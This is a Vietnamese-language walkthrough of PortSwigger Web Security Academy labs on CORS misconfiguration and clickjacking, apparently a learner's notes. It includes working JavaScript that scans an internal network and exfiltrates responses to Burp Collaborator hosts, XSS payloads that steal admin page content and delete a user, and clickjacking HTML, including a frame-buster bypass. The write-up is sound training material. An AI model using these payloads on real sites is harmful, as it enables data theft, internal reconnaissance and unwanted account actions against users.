# WEB09: CORS, Clickjacking ## Lab: CORS vulnerability with basic origin reflection ```! This website has an insecure CORS configuration in that it trusts all origins. To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key. You can log in to your own account using the following credentials: wiener:peter ``` Login với account được cung cấp, tại My account có hiện API key của user `wiener` ![](https://i.imgur.com/iUIXGO0.png) Check qua HTTP history, nhận thấy request đến `/accountDetails` trả về header `Access-Control-Allow-Credentials` -> có thể được cấu hình để hỗ trợ CORS ![](https://i.imgur.com/URTBSRo.png) Tới đây nếu ta thử thêm request header có value: `Origin: http://example.com` thì nhận thấy bên phía server reflect giá trị của trường này vào header `Access-Control-Allow-Origin` => Được cấu hình để hỗ trợ cross origin request từ tất cả các trang ![](https://i.imgur.com/RPa0eX4.png) Vậy để khai thác, ta cần setup exploit server chứa đoạn mã JS thực hiện request đến endpoint này. Dùng `XMLHttpRequest` với thuộc tính `withCredentials = true` để Access-Control-Allow-Credentials được set thành true bên phía client. Setup exploit server ![](https://i.imgur.com/TIPPRzW.png) Delivery to Victim và Check Access log ![](https://i.imgur.com/wDFsC2X.png) Submit API Key và solve bài lab ![](https://i.imgur.com/HbOiXhu.png) ## Lab: CORS vulnerability with trusted null origin ```! This website has an insecure CORS configuration in that it trusts the "null" origin. To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key. You can log in to your own account using the following credentials: wiener:peter ``` Login vào account được cung cấp, lúc này ta vẫn check ở request `GET /accountDetails` ![](https://i.imgur.com/hAIBYb0.png) -> Mặc dù đã thêm header `Origin: http://example.com` nhưng có vẻ như server không reflect vào response header `Access-Control-Allow-Origin` như bài lab trước. Tuy nhiên nếu giá trị của `Origin` là `null` thì server phản hồi như sau ![](https://i.imgur.com/81Mqinw.png) => Trust null origin. Vậy ý tưởng khai thác sẽ là tạo được một cross origin request sao cho request header `Origin: null`. Và để tạo request này ta có thể dùng `iframe` với thuộc tính `sandbox` (<https://www.appsloveworld.com/d3js/100/10/origin-header-null-for-xhr-request-made-from-iframe-with-sandbox-attribute>). Setup exploit server ![](https://i.imgur.com/ZqU9Zog.png) Check Access Log ![](https://i.imgur.com/I7BUPnl.png) Submit API key và solve bài lab ![](https://i.imgur.com/FnOd7ga.png) ## Lab: CORS vulnerability with trusted insecure protocols ```! This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol. To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key. You can log in to your own account using the following credentials: wiener:peter ``` Ở tính năng Check stock, ta phát hiện có thể khai thác XSS ở subdomain `stock.0ac5002c04f80ba4c09c0a85008600ba.web-security-academy.net` sử dụng http protocol ![](https://i.imgur.com/aSHyt3H.png) Và một điều nữa đó là CORS được hỗ trợ ở subdomain sử dụng http này ![](https://i.imgur.com/El7QwVH.png) -> Ý tưởng khai thác sẽ là redirect victim từ exploit server của ta đến subdomain này, tại subdomain sử dụng đoạn mã JS để tạo một cross origin request đến `/accountDetails` và lấy API key của admin URL encode payload ![](https://i.imgur.com/avYWw21.png) Setup exploit server ![](https://i.imgur.com/d1x9Tqr.png) Solve bài lab ![](https://i.imgur.com/8v4Attm.png) ## Lab: CORS vulnerability with internal network pivot attack ```! This website has an insecure CORS configuration in that it trusts all internal network origins. This lab requires multiple steps to complete. To solve the lab, craft some JavaScript to locate an endpoint on the local network (192.168.0.0/24, port 8080) that you can then use to identify and create a CORS-based attack to delete a user. The lab is solved when you delete user Carlos. ``` Vì đề bài gợi ý cho ta rằng target là một host nằm trong local network vì vậy cần lợi dụng XSS để scan dãy các host từ 192.168.0.1 -> 192.168.0.254. Javascript scan port ```javascript var q = [], collaboratorURL = 'http://pxqy9wlfnxp4jx7rw6lf2drd74dw1l.burpcollaborator.net'; for(i=1;i<=255;i++) { q.push(function(url) { return function(wait) { fetchUrl(url, wait); } }('http://192.168.0.'+i+':8080')); } for(i=1;i<=20;i++){ if(q.length)q.shift()(i*100); } function fetchUrl(url, wait) { var controller = new AbortController(), signal = controller.signal; fetch(url, {signal}).then(r => r.text().then(text => { location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now(); })) .catch(e => { if(q.length) { q.shift()(wait); } }); setTimeout(x => { controller.abort(); if(q.length) { q.shift()(wait); } }, wait); } ``` Kết quả ![](https://i.imgur.com/8458VLl.png) URL deocde giá trị của `code`, ta thấy có một endpoint `/login` ![](https://i.imgur.com/OpAp6qW.png) Với các tham số là `username`, `password` và `csrf` Tiếp theo thử login với `username` là `<a>TEST</a>` bằng cách setup exploit server như sau ```javascript! var xssPayload = "<a>TEST</a>"; var internalUrl = "http://192.168.0.142:8080"; function xss(url, text, vector) { fetch(url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]) .then(r => r.text()).then(text => navigator.sendBeacon('http://yy07a5moo6qdk680xfmo3msm8de62v.burpcollaborator.net', text)) } function fetchUrl(url, xssPayload){ fetch(url).then(r => r.text()).then(text => { xss(url, text, xssPayload); }) } fetchUrl(internalUrl, xssPayload); ``` ![](https://i.imgur.com/hPyT2pO.png) => Có thể khai thác XSS ở trường này Sau đó, thay đổi `xssPayload` để fetch tới `/admin` và đọc response ```html! <script> var internalUrl = "http://192.168.0.142:8080"; var xssPayload = `"><iframe src=/admin onload="navigator.sendBeacon('http://y547h5tov6xdr6f04ftoamzmfdl79w.burpcollaborator.net', this.contentWindow.document.body.innerHTML)">`; function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; } function fetchUrl(url, xssPayload){ fetch(url).then(r => r.text()).then(text => { xss(url, text, xssPayload); }) } fetchUrl(internalUrl, xssPayload); </script> ``` ![](https://i.imgur.com/HvawiZR.png) Ta thấy có một form POST đến `/admin/delete`, dùng javascript để select forms này và set giá trị `username` cho thẻ `input` => Delete user carlos ```html! <script> var internalUrl = "http://192.168.0.142:8080"; var xssPayload = `"><iframe src=/admin onload="var iForm=this.contentWindow.document.forms[0]; if(iForm.username) iForm.username.value='carlos', iForm.submit()">`; function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1] } function fetchUrl(url, xssPayload){ fetch(url).then(r => r.text()).then(text => { xss(url, text, xssPayload); }) } fetchUrl(internalUrl, xssPayload); </script> ``` Solve bài lab ![](https://i.imgur.com/roLVz7i.png) ## Lab: Basic clickjacking with CSRF token protection ```! This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word "click" on a decoy website. To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted. You can log in to your own account using the following credentials: wiener:peter ``` Setup exploit server, đồng thời điều chỉnh các giá trị `top`, `left` của `div` và `width`, `height` của `iframe` cho phù hợp. `z-index` dùng để chỉ định stack order của 2 element này. Trong trường hợp hiện tại ta muốn khai thác clickjacking victim đến vulnerable website tại `/my-account` nên `z-index` của iframe sẽ là 2 => nằm ở trước. ```html! <style> iframe { position:relative; width:500px; height: 700px; opacity: 0.5; z-index: 2; } div { position:absolute; top:500px; left:65px; z-index: 1; } </style> <div>click</div> <iframe src="https://0a5c006203bd659cc664926200cc001e.web-security-academy.net/my-account"></iframe> ``` Lúc này ta được trang như sau: Deliverty to victim và Solve bài lab ![](https://i.imgur.com/P2Hst6R.png) ## Lab: Clickjacking with form input data prefilled from a URL parameter ```! This lab extends the basic clickjacking example in Lab: Basic clickjacking with CSRF token protection. The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button. To solve the lab, craft some HTML that frames the account page and fools the user into updating their email address by clicking on a "Click me" decoy. The lab is solved when the email address is changed. You can log in to your own account using the following credentials: wiener:peter ``` Ta cần áp dụng clickjacking để khiến victim update của chính họ, để ý rằng ngay tại `/my-account`, ta có thể truyền giá trị cho input thông qua GET param ![](https://i.imgur.com/8jNm0Yx.png) Setup exploit server tương tự như bài trước, nhưng tag iframe sẽ là `<iframe src="https://0a23007504682df6c31fb5c1009500e2.web-security-academy.net/my-account?email=hacked@gmail.com"></iframe> ` ![](https://i.imgur.com/4bXmMUx.png) Delivery to victim và solve bài lab ![](https://i.imgur.com/5nzvoYB.png) ## Lab: Clickjacking with a frame buster script ```! This lab is protected by a frame buster which prevents the website from being framed. Can you get around the frame buster and conduct a clickjacking attack that changes the users email address? To solve the lab, craft some HTML that frames the account page and fools the user into changing their email address by clicking on "Click me". The lab is solved when the email address is changed. You can log in to your own account using the following credentials: wiener:peter ``` Áp dụng kĩ thuật như bài lab trước, tuy nhiên khi ta View exploit thì bị báo lỗi "This page cannot be framed". Có vẻ như trang web này sử dụng kĩ thuật `frame busting`. ![](https://i.imgur.com/4um253C.png) Tuy nhiên nếu ta thử bằng cách thêm thuộc tính `sandbox` cho `iframe` thì nhận ra có thể bypass được cơ chế này. ![](https://i.imgur.com/byqPqAe.png) Delivery to victim và solve bài lab ![](https://i.imgur.com/YqJQ4S4.png) ## Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS ```! This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the "Click me" button to call the print() function. ``` Sau khi check một vòng các tính năng của bài lab, ta thấy có thể khai thác DOM XSS ở Submit feedback ![](https://i.imgur.com/MbBZe46.png) Áp dụng onerror của img tag: ![](https://i.imgur.com/UNOYweE.png) Kết quả: ![](https://i.imgur.com/9cnopCr.png) Và cũng tương tự như bài lab trước, ta có thể sử dụng GET param ở URL để fill input tag. ![](https://i.imgur.com/OQs5sWg.png) Set up exploit server: ```html! <style> iframe { position:relative; width: 800px; height: 900px; opacity: 0.5; z-index: 2; } div { position:absolute; top:800px; left:65px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://0a5200780415416ac0ddd1f00060008f.web-security-academy.net/feedback?name=<img src=x onerror=print()>&email=abc@gm&subject=bla&message=bla"></iframe> ``` ![](https://i.imgur.com/tssTTAT.png) Delivery to victim và solve bài lab ![](https://i.imgur.com/P05zwBX.png) ## Lab: Multistep clickjacking ```! This lab has some account functionality that is protected by a CSRF token and also has a confirmation dialog to protect against Clickjacking. To solve this lab construct an attack that fools the user into clicking the delete account button and the confirmation dialog by clicking on "Click me first" and "Click me next" decoy actions. You will need to use two elements for this lab. You can log in to the account yourself using the following credentials: wiener:peter ``` Ở bài lab này, ta cần khiếm victim click vào Delete account ![](https://i.imgur.com/upldAE4.png) Tuy nhiên khác với các bài lab khác ở chỗ, tính năng này còn một step nữa dùng để confirm. ![](https://i.imgur.com/7Xqc9oQ.png) Vậy chỉ cần thêm một element nữa để khai thác clickjacking, quy trình thì cũng tương tự các bài đã làm. Setup exploit server: ```html! <style> iframe { position:relative; width: 800px; height: 700px; opacity: 0.5; z-index: 2; } #div1 { position:absolute; top:495px; left:60px; z-index: 1; } #div2 { position:absolute; top:290px; left:193px; z-index: 1; } </style> <div id = "div1">Click me first</div> <div id = "div2">Click me second</div> <iframe src="https://0aab002103b43bb2c03677c200bc0095.web-security-academy.net/my-account"></iframe> ``` ![](https://i.imgur.com/8xXKDZI.png) ![](https://i.imgur.com/EyjH6Zf.png) Deliverty to victim và solve bài lab ![](https://i.imgur.com/wN8Y0oh.png) ###### tags: `portswigger`